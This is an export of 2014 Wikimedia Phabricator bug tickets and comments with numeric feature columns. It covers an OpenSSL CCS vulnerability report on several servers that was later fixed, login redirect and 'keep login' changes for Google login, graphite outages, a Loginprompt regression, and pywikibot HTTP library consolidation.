https://rt.wikimedia.org/Ticket/Display.html?id=7806",High,80.0,1404647820,1404849317.0,PHID-USER-arjqb24x4oae7awzpfp6,False,,False,PHID-TASK-cegbfozf5b64ain2rjqa,task_description,resolved,True,c3,1,True,False,True,-52,True,0.0,0.0,0.0,0.0,1.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,2.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,12.5,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,2.0,2.5,5.5,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,1.0,4.260734463276837,0.6288135593220339,"Originally I posted this issue under Bug 53259, but I find more and more vulnerable sites, so I think it is more appropriate to move to a new bug report.

According to SSL Labs these servers are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"":

* graphite.wikimedia.org
* gdash.wikimedia.org
* dumps.wikimedia.org
* noc.wikimedia.org

These are vulnerable but probably not exploitable:

* ganglia.wikimedia.org
* lists.wikimedia.org

[1] URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
316959,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),All of those and some more are fixed now. See also https://bugzilla.wikimedia.org/show_bug.cgi?id=53259#c26 .,,,1404849317,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cegbfozf5b64ain2rjqa,task_subcomment,,True,c3,1,True,,,-52,True,14.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.142857142857143,0.9285714285714286,All of those and some more are fixed now. See also URL .
316953,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),I reported your findings yesterday as RT 7806 and suggested that all hosts should be checked for missed libssl updates.,,,1404648697,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cegbfozf5b64ain2rjqa,task_subcomment,,True,c3,1,True,,,-52,True,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,I reported your findings yesterday as RT 7806 and suggested that all hosts should be checked for missed libssl updates.
69413,Use returnto as redirect location after Login,"For now, after a login the user will be redirected to the Main page of the Wiki-project. Save the returnto parameter of Loginpage and return to this location after successful login to be constistent with the ""normal"" login function.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1404306480,1404376499.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-xvgivdciq23cos4hmomy,task_description,resolved,True,c3,1,True,False,True,-53,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.234375,0.65625,"For now, after a login the user will be redirected to the Main page of the Wiki-project. Save the returnto parameter of Loginpage and return to this location after successful login to be constistent with the ""normal"" login function.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
309526,Use returnto as redirect location after Login,"Change 143633 merged by jenkins-bot:
Add returnto redirect

https://gerrit.wikimedia.org/r/143633",,,1404375473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xvgivdciq23cos4hmomy,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 143633 merged by jenkins-bot:
Add returnto redirect

GERRIT_URL"
309521,Use returnto as redirect location after Login,"Change 143633 had a related patch set uploaded by Florianschmidtwelzow:
Add returnto redirect

https://gerrit.wikimedia.org/r/143633",,,1404319142,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xvgivdciq23cos4hmomy,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.529411764705882,1.0,"Change 143633 had a related patch set uploaded by Florianschmidtwelzow:
Add returnto redirect

GERRIT_URL"
69136,"Enable ""keep login"" in GoogleLogin Settings","If the user choose the login with Google he can not choose, if he want to keep the login.

possible solution #1: Try to use the ""keep login"" from login form
possible solution #2: Create a setting in Special:GoogleLogin to set this fix for the account connection

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1403796300,1404320345.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-fe6igmksnxvlowqftyk7,task_description,resolved,True,c3,1,True,False,True,-53,True,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,10.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,3.0,12.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.7532467532467533,0.6103896103896104,"If the user choose the login with Google he can not choose, if he want to keep the login.

possible solution #1: Try to use the ""keep login"" from login form
possible solution #2: Create a setting in Special:GoogleLogin to set this fix for the account connection

--------------------------
**Version**: unspecified
**Severity**: normal"
308681,"Enable ""keep login"" in GoogleLogin Settings","Change 143053 merged by jenkins-bot:
Enable keep logged in

https://gerrit.wikimedia.org/r/143053",,,1404319552,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fe6igmksnxvlowqftyk7,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Change 143053 merged by jenkins-bot:
Enable keep logged in

GERRIT_URL"
308677,"Enable ""keep login"" in GoogleLogin Settings","Change 143053 had a related patch set uploaded by Florianschmidtwelzow:
[DO NOT MERGE] Enable keep logged in

https://gerrit.wikimedia.org/r/143053",,,1404148076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fe6igmksnxvlowqftyk7,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.565217391304348,1.0,"Change 143053 had a related patch set uploaded by Florianschmidtwelzow:
[DO NOT MERGE] Enable keep logged in

GERRIT_URL"
68765,graphite.wikimedia.org often goes down with HTTP 502 Bate Gateway errors due to overload,"As of late, half the time I'm trying to work with the graphs, some or all of the images on the page will be broken due to Bad Gateway errors.

icinga-wm in #wikimedia-operations has also been reporting it

icinga-wm: PROBLEM - graphite.wikimedia.org on tungsten is CRITICAL: HTTP CRITICAL: HTTP/1.1 502 Bad Gateway - 525 bytes in 0.002 second response time

--------------------------
**Version**: wmf-deployment
**Severity**: critical",High,80.0,1403058120,1419353832.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-cu3bitxx6pkw6y4bbtcc,task_description,resolved,True,c3,1,True,False,True,-55,True,2.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,14.0,0.0,1.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,0.0,2.0,12.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9166666666666665,0.65625,"As of late, half the time I'm trying to work with the graphs, some or all of the images on the page will be broken due to Bad Gateway errors.

icinga-wm in #wikimedia-operations has also been reporting it

icinga-wm: PROBLEM - graphite.wikimedia.org on tungsten is CRITICAL: HTTP CRITICAL: HTTP/1.1 502 Bad Gateway - 525 bytes in 0.002 second response time

--------------------------
**Version**: wmf-deployment
**Severity**: critical"
392475,graphite.wikimedia.org often goes down with HTTP 502 Bate Gateway errors due to overload,"part of ongoing scaling of graphite, see https://wikitech.wikimedia.org/wiki/Graphite/Scaling

resolving",,,1419353832,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-cu3bitxx6pkw6y4bbtcc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9090909090909091,"part of ongoing scaling of graphite, see URL

resolving"
68574,MediaWiki:Loginprompt is no longer displayed on login page,"**Author:** `dan`

**Description:**
In versions 1.21 and previous versions MediaWiki:Loginprompt could be used to add useful information to the login page and we were using this in all our wikis in Moodle.

Starting with version 1.22 -> 1.23 this message is no longer displayed in the new login page and we can not find a suitable replacement to add a message there.


You can see the existing use of this:
https://github.com/wikimedia/mediawiki-core/blob/REL1_21/includes/templates/Userlogin.php#L51

--------------------------
**Version**: 1.23.0
**Severity**: normal",High,80.0,1402647180,1408561836.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_description,resolved,True,c3,1,False,False,True,-55,True,0.5,0.0,0.0,1.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,6.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,2.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,9.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.5,0.0,2.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.5,3.8055555555555554,0.75,"**Author:** CODE

**Description:**
In versions 1.21 and previous versions MediaWiki:Loginprompt could be used to add useful information to the login page and we were using this in all our wikis in Moodle.

Starting with version 1.22 -> 1.23 this message is no longer displayed in the new login page and we can not find a suitable replacement to add a message there.


You can see the existing use of this:
URL

--------------------------
**Version**: 1.23.0
**Severity**: normal"
308446,MediaWiki:Loginprompt is no longer displayed on login page,Will be included in the next 1.23.x release.,,,1408561836,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Will be included in the next 1.23.x release.
308443,MediaWiki:Loginprompt is no longer displayed on login page,"Change 146022 merged by jenkins-bot:
Display MediaWiki:Loginprompt on the login page

https://gerrit.wikimedia.org/r/146022",,,1408561785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,"Change 146022 merged by jenkins-bot:
Display MediaWiki:Loginprompt on the login page

GERRIT_URL"
308439,MediaWiki:Loginprompt is no longer displayed on login page,"Change 146022 had a related patch set uploaded by Legoktm:
Display MediaWiki:Loginprompt on the login page

https://gerrit.wikimedia.org/r/146022",,,1405316483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,0.9545454545454546,"Change 146022 had a related patch set uploaded by Legoktm:
Display MediaWiki:Loginprompt on the login page

GERRIT_URL"
308435,MediaWiki:Loginprompt is no longer displayed on login page,This is a 1.23 regression that will need a backport.,,,1405309160,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,9.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,This is a 1.23 regression that will need a backport.
308432,MediaWiki:Loginprompt is no longer displayed on login page,"Change 139399 merged by jenkins-bot:
Display MediaWiki:Loginprompt on the login page

https://gerrit.wikimedia.org/r/139399",,,1405309076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,"Change 139399 merged by jenkins-bot:
Display MediaWiki:Loginprompt on the login page

GERRIT_URL"
308429,MediaWiki:Loginprompt is no longer displayed on login page,"Change 139399 had a related patch set uploaded by Talktodan:
Display MediaWiki:Loginprompt on the login page

https://gerrit.wikimedia.org/r/139399",,,1402673552,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Change 139399 had a related patch set uploaded by Talktodan:
Display MediaWiki:Loginprompt on the login page

GERRIT_URL"
308421,MediaWiki:Loginprompt is no longer displayed on login page,"**dan** wrote:

I had seen that bug, but I don't see LoginPrompt mentioned in the release notes or any of documentation about removed messages:
https://www.mediawiki.org/wiki/Account_creation_user_experience/Strings

So assumed it was an unintentional loss of functionality.

I'm not asking for support, I can implement this functionality locally, but non of the available strings are now appropriate for a longer description on the login page.",,,1402655942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-55,True,1.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,5.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,5.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,4.037974683544304,0.759493670886076,"**dan** wrote:

I had seen that bug, but I don't see LoginPrompt mentioned in the release notes or any of documentation about removed messages:
URL

So assumed it was an unintentional loss of functionality.

I'm not asking for support, I can implement this functionality locally, but non of the available strings are now appropriate for a longer description on the login page."
308414,MediaWiki:Loginprompt is no longer displayed on login page,"This changed in https://git.wikimedia.org/commitdiff/mediawiki%2Fcore.git/44840d15929d8ecfc1d7c31d6f7e86d873ac15a2 , see bug 46333 for reasons.

This ticket sounds more like a support question to me actually than a bug? 
You might want to ask on https://www.mediawiki.org/wiki/Project:Support_desk",,,1402655048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,20.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,20.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"This changed in URL , see bug 46333 for reasons.

This ticket sounds more like a support question to me actually than a bug? 
You might want to ask on URL"
68102,use one library for all http requests,"`requests` has been chosen as the http library for `pywikibot` v3.0 master.

There are a few cases of urllib.urlopen (and others) being used in the pywikibot library code, and a number of scripts which use other http request routines.
Multiple routines results in multiple configuration (e.g. proxy) and multiple sets of possible bugs/errors.

All http activity should be provided by utility methods in `pywikibot.comms.http`, so it is easy to test and support them, and possibly use a different http library in the future if necessary.

**See Also**: T71204",High,80.0,1401840000,1602939711.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-op3qd6kt6gjyskvy6mug,task_description,resolved,True,c3,1,True,False,False,-57,True,1.5,0.0,0.0,2.0,0.0,6.5,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,9.5,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,3.5,6.5,2.0,3.5,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.5,2.5,0.0,0.0,0.0,2.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,4.036363636363636,0.8090909090909091,"CODE has been chosen as the http library for CODE v3.0 master.

There are a few cases of urllib.urlopen (and others) being used in the pywikibot library code, and a number of scripts which use other http request routines.
Multiple routines results in multiple configuration (e.g. proxy) and multiple sets of possible bugs/errors.

All http activity should be provided by utility methods in CODE, so it is easy to test and support them, and possibly use a different http library in the future if necessary.

**See Also**: T71204"
1483212,use one library for all http requests,"Change 588145 **merged** by jenkins-bot:
[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py

[[https://gerrit.wikimedia.org/r/588145]]",,,1586690471,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,249,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.5588235294117645,0.7058823529411765,"Change 588145 **merged** by jenkins-bot:
[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py

[[GERRIT_URL]]"
1483193,use one library for all http requests,"Change 588145 had a related patch set uploaded (by Xqt; owner: Xqt):
[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py

